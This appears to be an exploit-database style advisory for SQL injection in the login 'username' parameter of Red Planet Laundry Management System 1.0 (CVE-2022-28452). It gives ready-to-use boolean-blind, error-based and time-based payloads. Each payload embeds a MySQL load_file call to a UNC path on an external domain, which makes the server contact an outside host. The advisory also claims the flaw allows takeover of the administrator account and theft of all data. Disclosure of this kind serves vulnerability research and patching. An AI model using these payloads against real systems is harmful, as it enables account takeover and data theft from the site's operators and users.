## Title: Red Planet Laundry Management System 1.0 SQLi
## Author: nu11secur1ty
## Vendor: https://laundry.redplanetcomputers.com/
## Software: https://laundry.redplanetcomputers.com/
## Reference: https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-28452
## Description:
The `username` parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select load_file('\\\\266ilbos73q2xlua40ijk4lfv61zp2dtgh84ysn.glupakproZ.com\\wdj'))+' was submitted in the username parameter.
This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed.
The attacker can take administrator accounts control and also of all accounts on this system, also the malicious user can download all information about this system.
Status: CRITICAL
[+] Payloads:
```mysql
---
Parameter: username (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: username=admin'+(select load_file('\\\\266ilbos73q2xlua40ijk4lfv61zp2dtgh84ysn.glupakproZ.com\\wdj'))+'' RLIKE (SELECT (CASE WHEN (9687=9687) THEN 0x61646d696e+(select load_file(0x5c5c5c5c323636696c626f7337337132786c75613430696a6b346c667636317a703264746768383479736e2e676c7570616b70726f5a2e636f6d5c5c77646a))+'' ELSE 0x28 END)) AND 'xZRt'='xZRt&password=1234&login=Login
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=admin'+(select load_file('\\\\266ilbos73q2xlua40ijk4lfv61zp2dtgh84ysn.glupakproZ.com\\wdj'))+'' AND (SELECT 2011 FROM(SELECT COUNT(*),CONCAT(0x7162787871,(SELECT (ELT(2011=2011,1))),0x716b6b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'wmtL'='wmtL&password=1234&login=Login
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin'+(select load_file('\\\\266ilbos73q2xlua40ijk4lfv61zp2dtgh84ysn.glupakproZ.com\\wdj'))+'' AND (SELECT 6418 FROM (SELECT(SLEEP(5)))aYrS) AND 'Cfxg'='Cfxg&password=1234&login=Login
---
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2022/CVE-2022-28452)
## Proof and Exploit:
[href](https://streamable.com/1x4kmo)